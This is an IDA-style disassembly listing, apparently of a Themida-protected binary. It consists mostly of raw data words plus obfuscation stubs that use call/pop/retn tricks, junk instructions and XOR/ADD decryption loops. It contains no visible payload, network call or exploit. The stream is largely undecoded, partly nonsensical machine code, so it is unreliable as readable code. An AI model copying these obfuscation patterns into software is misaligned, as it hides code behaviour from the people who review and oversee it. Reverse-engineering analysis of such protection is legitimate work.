dd 7CB59C1Dh, 56CE859h, 0FFF16588h, 1005D595h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 636F7A64h, 44876ADh, 10E8614Dh, 0E6000000h, 3261755Ah
dd 963B13E6h, 6CFD449h, 0BBBC564Dh, 43D69B8Dh, 0C185C75Bh
dd 3061022h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 5C9BC353h, 0CD8F7030h
dd 602BA876h, 8B12C880h, 10142D95h, 0BD836106h, 613C26Dh
dd 54840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 86F2C355h, 6E6EC678h
dd 1FD19D8Bh, 43E90610h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BC6EC351h
dd 895B9030h, 0A1BD8BD8h, 50061027h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh, 6100B45h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C4C35141h
dd 0C1BD8307h, 3061022h, 4DA850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 4DE6C4C3h
dd 6ABF8036h, 8319EA7Ah, 13C26DBDh, 840F0006h, 4A8h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 65C35141h, 0F3C09DBAh
dd 7DBD8BC4h, 0FF06102Fh, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 1518F866h
dd 1BA99D29h, 95FF0610h, 6102FA5h, 9E9h, 104C3900h, 260B08F4h
dd 0B58B0E8Dh, 613C261h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 0F8C35040h, 402ABE9Bh, 106C7F4h, 31000100h
dd 1011B995h, 5ABF5006h, 891ACAD2h, 6A2434h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 74C008C3h
dd 806E37A9h, 0B5FFB6E7h, 613C26Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 7DC35040h, 0AA2A486Ch, 0AB477243h
dd 122595FFh, 0DB800610h, 61B58B9Fh, 6A0613C2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 89B9C356h, 10287985h, 0D1858B06h, 6A061021h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 35B0C353h, 8689DCE6h, 0C4h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 27C35747h, 8B7A4F16h, 1010A1BDh
dd 91BD8B06h, 8B061012h, 1009F595h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 98037F50h
dd 0EE9D268h, 0D88B66E4h, 6A04C283h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0FB51C352h
dd 0DB57E85Ah, 142A8C7h, 101BE1B5h, 20508906h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 54C35343h, 2BFF1109h
dd 0FBEB02EBh, 5BD8B44h, 8D06102Fh, 13D7C285h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 9E09EC5h, 101B61BDh, 0B8868906h, 81000000h, 0AFF9F7C7h
dd 6A006A35h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 28A9C353h, 3681C292h, 147985ECh
dd 191D9D8Bh, 0BF0F0610h, 6DB5FFD8h, 6A0613C2h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 4704C353h, 3E50B9Dh, 0BF0639FEh, 7BC04666h, 49595FFh
dd 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0BD895CC3h, 6102005h, 6997BB50h, 34896F0Ah
dd 0AE824h, 0E57D0000h, 0DA093F45h, 4259C6FDh, 8A5B529h
dd 505F0610h, 870F60h, 8A000000h, 0FF5F61E3h, 13C26DB5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0F98B615Fh, 162D95FFh, 14E90610h, 0B6000000h
dd 68A796A1h, 0D582AF4Bh, 4560BCBEh, 90A78ECCh, 83386E48h
dd 101351BDh, 840F0006h, 35h, 3161B589h, 50960610h, 810Fh
dd 6A960000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 81AFC357h, 89261C99h, 1019159Dh
dd 6DB5FF06h, 0E90613C2h, 10h, 2CB32FD9h, 8FE1663Eh, 628176B4h
dd 0A867EEF3h, 0C1995FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 29FA61C3h, 49E44D7Ch
dd 8B1541FAh, 0FD8D09D9h, 0FF06101Eh, 13C26DB5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0E388E366h, 8B5B510Ah, 101DB19Dh, 2195FF06h, 66061016h
dd 4CBEDB81h, 0F89BD83h, 0F020610h, 9884h, 0BE666000h
dd 11E9FD8Eh, 4000000h, 9417F361h, 0E14A8DAAh, 0FB3F67CBh
dd 3652E578h, 13E961h, 24EE0000h, 0E795842Eh, 0C3FA63C6h
dd 0C9308B73h, 0F02D774Fh, 0C5858B94h, 6A061010h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 519AC356h, 0AC27B173h, 8BDF8BFDh, 100A2DBDh, 0C606h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0FFC35242h
dd 0E594E8D1h, 81C3E836h, 0AAF349CBh, 0BDA8B1Eh, 1030599Dh
dd 2585C706h, 6102Ah, 0BF000000h, 65BCBA9h, 0FFF232E9h
dd 0DA8B66FFh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0AE5785C3h, 8BFC7244h, 8D9D8BF8h
dd 8D061016h, 1013B985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1604h, 0C3574700h, 60735770h, 13E960h, 0FBE80000h
dd 8AB676A3h, 0CF26AD93h, 5B9EEE38h, 70D7694Fh, 0A4BF66CCh
dd 9D8B61E4h, 6102A15h, 2CC78161h, 9068D394h, 5E8h, 2BC81A00h
dd 0FB8B1392h, 820F505Fh, 0Dh, 890F60h, 0B8000000h, 6588A3Fh
dd 8B669061h, 8830FDEh, 50000000h, 21819D23h, 6A5F0610h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 622C37A7h, 0FF9D13F0h, 12B9BD8Bh, 0FE80610h
dd 1E000000h, 0A23A6639h, 90FC5D66h, 0FB549F37h, 0CF80C47Fh
dd 0B5895B47h, 61001C1h, 6A006Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 0E47935C3h, 0CF310AC5h
dd 0BF8A321Dh, 6C79D022h, 0C69B858Dh, 0BF660614h, 0C083431Fh
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 19E3ADBEh, 90980FACh, 34B75250h, 5051310Fh
dd 5A310F52h, 585A5F58h, 60606050h, 61616061h, 4852BB66h
dd 8A0F9061h, 0
; ---------------------------------------------------------------------------
push 0
push 0
push ebp
call sub_597A1D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597A1D proc near ; CODE XREF: Themida_:00597A15p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_597A1D endp
; ---------------------------------------------------------------------------
and cl, [ebx-2440F0BFh]
push 0
cld
call dword ptr [ebp+6101D19h]
mov edi, 59B7866Ah
mov ebx, 70678F51h
lea ecx, [ebp+613AFD8h]
push 0
push edx
call sub_597A57
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597A57 proc near ; CODE XREF: Themida_:00597A4Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_597A57 endp
; ---------------------------------------------------------------------------
mov al, ds:5B1A1EBh
cmp edx, [eax-4B7CC4h]
shr dword ptr [edx+0], 1
push ebx
call sub_597A7E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597A7E proc near ; CODE XREF: Themida_:00597A76p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_597A7E endp
; ---------------------------------------------------------------------------
dw 1ED5h
dd 7C09C9E2h, 0F4A89ADh, 118Dh, 9E800h, 10C00000h, 0C40807D8h
dd 8A0FB4D6h, 83F85FD8h, 102209BDh, 850F0106h, 4Ah, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0B6C35040h, 0CA05462Eh
dd 6652026Ah, 5BCCEABBh, 90D88B66h, 0B26ACCBBh, 6690507Dh
dd 4C29F381h, 49595FFh, 0B5310610h, 6100E61h, 1019D8Bh
dd 0E2E90610h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 614C6A5h
or [ebp+610069Dh], ecx
push 0
push ebx
call sub_597B28
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597B28 proc near ; CODE XREF: Themida_:00597B20p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_597B28 endp
; ---------------------------------------------------------------------------
dd 0E4FF84C8h, 1465FD33h, 27C19D8Bh, 66520610h, 8D5BDF8Bh
dd 1399B685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0A48C34A6h, 0EB5D0F17h, 525090CCh
dd 310FDE8Bh, 0FB17BF66h, 6650585Ah, 6A90DF8Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 0B2B2C355h, 62D159C7h, 0BD898FA3h, 61030E5h, 0A19FBF66h
dd 0D7DBD89h, 0FF640610h, 35h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 64FF7040h
dd 2589h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 22429BC3h, 141985FFh, 890F0610h
dd 1Bh, 0FE8h, 60034700h, 0A95C0202h, 7321BF0Fh, 17C52B01h
dd 27E1B589h, 6A5B0610h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0D0A6960Eh, 9D29AF98h
dd 6100A49h, 43F8EB81h, 0B5FF6617h, 6101D89h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 78C35747h, 3224F2F9h
dd 7B91CBEBh, 0FF5F52D4h, 10061595h, 0FEE906h, 0BD8B0000h
dd 6103179h, 9D8900B0h, 61013A5h, 0B70F70E6h, 6671E4FEh
dd 861E381h, 830F613Ch, 0DCh, 0FC8B60Fh, 128Ch, 6E800h
dd 87DF0000h, 6610CED7h, 20D9BD8Bh, 0BA5B0610h, 6, 45BD8Bh
dd 0C18B0610h, 8166DD8Ah, 0C1C33FF7h, 5E804E8h, 63000000h
dd 0A767039Ch, 0E2F7665Fh, 23B99D8Bh, 8A0F0610h, 3, 2BF9B70Fh
dd 8BDF8BC8h, 101E9DBDh, 8BD18B06h, 1006BDBDh, 76E906h
dd 8FBF0000h, 8B25C635h, 885h, 83D98B00h, 0DA8B07C0h, 0BB00C083h
dd 5DBE1EB8h, 830FD03Bh, 1Dh, 18B5BD89h, 0DE90610h, 44000000h
dd 22DA0CF4h, 0FA284137h, 0CBFDD15Ah, 37E9h, 0FF8D8B00h
dd 8AFFFFFFh, 1E183D9h, 26840Fh, 89570000h, 100799B5h
dd 0A5835B06h, 0FFFFFFFFh, 0DD8589FEh, 89061026h, 895h
dd 0D9BD8B00h, 0E9061007h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6144078h]
push eax
cld
pop edi
push 0
mov ebx, 43426278h
call dword ptr [ebp+61031C9h]
push 0
push edi
call sub_597DB1
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597DB1 proc near ; CODE XREF: Themida_:00597DA9p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_597DB1 endp
; ---------------------------------------------------------------------------
db 42h, 97h, 7Ah
dd 5DB90CD0h, 8900000Fh, 103279BDh, 0FCE18306h, 1C8E0Fh
dd 0F600000h, 88h, 0EE800h, 1F6E0000h, 648579F4h, 0FBC57757h
dd 6E9C20AEh, 6AFC6159h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 87F2C353h, 0C02BF530h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 74C35646h
dd 9109D443h, 0BAFB8B66h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+6100A95h]
loc_597E46: ; CODE XREF: Themida_:00597E50j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_597E46
mov bl, ah
push ebx
xor [ebp+61023B1h], edx
pop ebx
or eax, 88h
push 0
push ebx
call sub_597E6C
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597E6C proc near ; CODE XREF: Themida_:00597E64p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_597E6C endp
; ---------------------------------------------------------------------------
dec esi
cmpsd
mov bx, dx
mov edx, [ebp+61009F5h]
jle loc_597EA2
pusha
call near ptr loc_597E9A+4
or [ebx+14D8A7C6h], esi
pop ebx
loc_597E9A: ; CODE XREF: Themida_:00597E8Ep
cmp eax, 5E247E52h
mov edx, ecx
popa
loc_597EA2: ; CODE XREF: Themida_:00597E87j
mov [ebp+6102189h], eax
mov ecx, [ebp+6102319h]
push 0
push ebp
call sub_597EB9
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597EB9 proc near ; CODE XREF: Themida_:00597EB1p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_597EB9 endp
; ---------------------------------------------------------------------------
db 15h, 24h, 0Fh
; ---------------------------------------------------------------------------
and bx, 0C581h
push eax
mov eax, edx
mov ebx, [eax]
add eax, ecx
mov ebx, [eax]
mov eax, ecx
shr eax, 1
add eax, edx
mov ebx, [eax]
pop eax
push 0
push ebx
call sub_597EEE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597EEE proc near ; CODE XREF: Themida_:00597EE6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_597EEE endp
; ---------------------------------------------------------------------------
pop es
xchg eax, ecx
jmp fword ptr [ebx+6DE5AB9h]
; ---------------------------------------------------------------------------
scasb
inc ebp
sub [ebp+6101095h], ecx
push 0
push esi
call sub_597F19
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597F19 proc near ; CODE XREF: Themida_:00597F11p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_597F19 endp
; ---------------------------------------------------------------------------
db 15h, 1Ch, 2
; ---------------------------------------------------------------------------
cmp ax, 30Fh
cmp dword ptr [ebp+6101E29h], 0
jz loc_597FD6
push 0
push ebp
call sub_597F48
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597F48 proc near ; CODE XREF: Themida_:00597F40p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_597F48 endp
; ---------------------------------------------------------------------------
mov eax, 3DBA858Fh
cmp ebp, [eax]
and al, 0F0h
mov eax, 0
mov [ebp+6101645h], ebx
lea ecx, [ebp+6104E85h]
push 0
push ebx
call sub_597F7D
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597F7D proc near ; CODE XREF: Themida_:00597F75p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_597F7D endp
; ---------------------------------------------------------------------------
std
retf
; ---------------------------------------------------------------------------
mov bl, 8
or byte ptr [ebp-7CC47148h], 3
mov ebp, 6102939h
jmp loc_597FB0
; ---------------------------------------------------------------------------
xchg eax, esi
aas
nop
jo short loc_597FD6
mov al, ds:9AFDC6D9h
jb short loc_598006
inc esi
pop ds
loc_597FB0: ; CODE XREF: Themida_:00597F9Dj
jmp ecx
; ---------------------------------------------------------------------------
push 0
push eax
call sub_597FBD
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597FBD proc near ; CODE XREF: Themida_:00597FB5p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_597FBD endp
; ---------------------------------------------------------------------------
db 10h, 0A4h, 0Bh
; ---------------------------------------------------------------------------
mov ds:311CD28Dh, al
dec ecx
loc_597FD6: ; CODE XREF: Themida_:00597F37j
; Themida_:00597FA5j
cmp dword ptr [ebp+61022C1h], 0
jz loc_5983F7
push 0
push eax
call sub_597FEE
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597FEE proc near ; CODE XREF: Themida_:00597FE6p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_597FEE endp
; ---------------------------------------------------------------------------
cmpsb
pop edi
xor [ebp+6100909h], esi
loc_598006: ; CODE XREF: Themida_:00597FACj
cmp dword ptr [ebp+61022C1h], 1
jz loc_598412
and ebx, 12CB792Ah
cmp dword ptr [ebp+61022C1h], 3
jbe loc_5983DC
xor ebx, [ebp+6100901h]
pusha
mov ebx, [ebp+61032B1h]
mov cx, ds
mov edi, [ebp+6100E15h]
and cl, 4
jmp loc_598054
; ---------------------------------------------------------------------------
dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h
; ---------------------------------------------------------------------------
loc_598054: ; CODE XREF: Themida_:0059803Fj
or cl, cl
jz loc_598161
mov bx, si
mov eax, [ebp+6102185h]
jmp loc_598070
; ---------------------------------------------------------------------------
test [esi+406420A6h], ah
loc_598070: ; CODE XREF: Themida_:00598065j
xor eax, [ebp+61011FDh]
push 0
push eax
call sub_598081
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598081 proc near ; CODE XREF: Themida_:00598079p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_598081 endp
; ---------------------------------------------------------------------------
sub [esi-63h], dh
movsb
cmc
push eax
mov ebx, 42CE2ED2h
mov [esp], eax
push 0
push ebx
call sub_5980AA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5980AA proc near ; CODE XREF: Themida_:005980A2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5980AA endp
; ---------------------------------------------------------------------------
dw 4967h
dd 52F3A68Bh, 6810Fh, 0B5090000h, 6100CA9h, 11E9h, 0FE9AB100h
dd 26F83472h, 39B8B6Ch, 5A44D694h, 6A35FBh, 0BEC38166h
dd 899589D1h, 0E8061015h, 4, 1F03FFh, 0BF665250h, 310F918Bh
dd 8E0Fh, 585A0000h, 0D88B6650h, 424448Bh, 28F0Fh, 0FA8B0000h
dd 8B52008Bh, 44895FFEh, 52500424h, 0BF66310Fh, 585A0A6Ch
dd 0CE958h, 30CE0000h, 0A14A4DB2h, 0B37DD362h, 95FFB3FAh
dd 61005D5h, 1401BD23h, 85890610h, 613C26Dh, 15E5BD8Bh
dd 0BE90610h, 89000002h, 101C81B5h
; ---------------------------------------------------------------------------
push es
loc_598161: ; CODE XREF: Themida_:00598056j
mov eax, [ebp+613C265h]
push 0
push edi
call sub_598172
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598172 proc near ; CODE XREF: Themida_:0059816Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_598172 endp
; ---------------------------------------------------------------------------
dw 0A320h
dd 0B589DFC5h, 6102DADh, 1800C7h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 525936C3h
dd 0EF095A82h, 0A7DB8166h, 69B58BA6h, 8B0613C2h, 8E9F9h
dd 0FD830000h, 94A953B5h, 858B5CF4h, 6100E25h, 11E9h, 0A53FD100h
dd 4B10A967h, 0F8E15977h, 0F324B9CDh, 689A768h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 4FC35141h, 0ADBD8B47h
dd 0F06102Dh, 68Dh, 95B50100h, 8B061027h, 10218585h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0B89B42EAh, 0C96B469Ch, 6E920h, 0EB810000h, 0CCF69BB0h
dd 0F0A8BF66h, 6A044689h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 51EDC356h, 0D60104FCh
dd 9D23F5AFh, 61018E1h, 0CE896h, 0F0D30000h, 0BFD70EDAh
dd 85AE46B9h, 8D0F1693h, 2, 505F5F50h, 8BDF8B60h, 299661F0h
dd 1032D185h, 65B5FF06h, 6A0613C2h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 6C6AC355h
dd 1699BD89h, 0D1680610h, 502BD092h, 810F5052h, 0
dd 0F310F5Fh, 487h, 9BB6600h, 81585A5Dh, 912E2434h, 81662BCFh
dd 8D3720F3h, 13C26D85h, 0C1BD0B06h, 90061027h, 66F18A60h
dd 61018FBBh, 90FA8A50h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ah, 88C35242h, 0A0E556C4h, 0B589D37Fh, 6102A35h
dd 5D595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 0EA7D08C3h, 18F99531h, 6A610610h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0F7D7C351h, 270B4792h, 0C7AAB656h, 1022C185h
dd 306h, 41952900h, 8306102Fh, 13C26DBDh, 840F0006h, 34h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 29C35545h
dd 0F9522934h, 9D89525Bh, 6102EC1h, 21E95Bh, 9D290000h
dd 61008BDh
; ---------------------------------------------------------------------------
loc_5983DC: ; CODE XREF: Themida_:00598020j
; Themida_:005983F3j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], cl
pop eax
sub ecx, 4
jnz short loc_5983DC
jmp short loc_59842D
; ---------------------------------------------------------------------------
loc_5983F7: ; CODE XREF: Themida_:00597FDDj
; Themida_:0059840Ej
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5983F7
jmp short loc_59842D
; ---------------------------------------------------------------------------
loc_598412: ; CODE XREF: Themida_:0059800Dj
; Themida_:00598429j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_598412
jmp short $+2
loc_59842D: ; CODE XREF: Themida_:005983F5j
; Themida_:00598410j
mov eax, eax
push 0
push edx
call sub_59843A
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59843A proc near ; CODE XREF: Themida_:00598432p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_59843A endp
; ---------------------------------------------------------------------------
dw 1C51h
dd 0B639CE7Eh, 29FB8B66h, 100C0985h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 4677C2A0h
dd 0F88B74Ch, 0BD83F9B7h, 61022C1h, 0B850F03h, 2B000004h
dd 102AC5BDh, 6DBD8306h, 613C2h, 3F8840Fh, 820F0000h, 0Dh
dd 5E8h, 8E095B00h, 5B523A3Ah, 6DB5FF5Fh, 6A0613C2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0DD75C356h, 0EBBB661Ah, 0A595FF51h, 6A06102Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 2168C351h, 4ACF8166h, 61B58BA2h, 330613C2h, 1012B1BDh
dd 106C706h, 6A000100h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0FD04C355h, 81634140h
dd 0C3B76BDBh, 14E89639h, 84000000h, 6CAF55B4h, 0A688B062h
dd 0AA97B262h, 97F561AEh, 6660A4C7h, 505FFB8Bh, 2830F60h
dd 60000000h, 0BBBF6661h, 8B9661BFh, 10139DBDh, 6DB5FF06h
dd 8B0613C2h, 1015C1BDh, 0BD8B5106h, 6101489h, 2595FF5Bh
dd 6A061012h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 8FF5C353h, 31958952h, 5F061031h
dd 0C987BF66h, 0C261B58Bh, 6A0613h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0D40C8EC3h
dd 8954D4A0h, 10059DBDh, 0D1858B06h, 6A061021h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0D49C350h, 23619D03h, 86890610h, 0C4h, 9F5958Bh, 860F0610h
dd 6, 4919D03h, 0C2830610h, 89D88B04h, 6A2050h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 85D5D3C3h, 1FE19D01h, 858D0610h, 613D7C2h, 8689DE8Bh
dd 0B8h, 6199529h, 6A0610h, 1301BD8Bh, 0B5FF0610h, 613C26Dh
dd 0FFDA8B66h, 10049595h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0D2035939h
dd 0D5F975E2h, 8D29FA23h, 61032C5h, 6E8h, 0E59BD500h, 89267693h
dd 100F1DBDh, 60965B06h, 0AE8h, 54503B00h, 0D8BE598Ah
dd 0FE6E775h, 80h, 880F5B00h, 0Bh, 5E8h, 2581C300h, 61584F07h
dd 9E850h, 56290000h, 0F5A63570h, 5B338FB6h, 51006A96h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 8E85Ah, 67B10000h, 0ADFF8335h, 8960829Ah, 100E5585h
dd 69BD0106h, 61061004h, 0FF40B75Fh, 13C26DB5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 560B58EDh, 162D95FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1A0424h, 57470000h, 20BCFEC3h, 0CD705EDAh
dd 1351BD83h, 0F000610h, 7C84h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 1F6A8644h
dd 6890F10h, 3000000h, 1004F5BDh, 99B52906h, 96061031h
dd 68E0F60h, 50000000h, 5A310F52h, 68D0F58h, 0F000000h
dd 82h, 0B7506100h, 6A96A2h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 81A6B9C3h, 42C0C632h
dd 8B0C3189h, 1029D9BDh, 6DB5FF06h, 6A0613C2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 8991C356h, 77A38A66h, 95FFBB21h, 6100C19h, 8E956h, 5100000h
dd 0E8BE6954h, 0FF5B8E9Bh, 13C26DB5h, 33565106h, 1009B19Dh
dd 0FF5F5F06h, 10162195h, 0A1B52906h, 8306102Fh, 100F89BDh
dd 840F0206h, 22h, 8BFFBF0Fh, 1010C585h, 0E8D0F06h, 0E9000000h
dd 9, 2AF3FE7Dh, 0C0B9A123h, 0C6FFh, 85C790B3h, 6102A25h
dd 0
dd 21E9B589h, 90E90610h, 6AFFFFF3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 712C350h
dd 8BAF2222h, 1015899Dh, 6AC18B06h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E898C352h
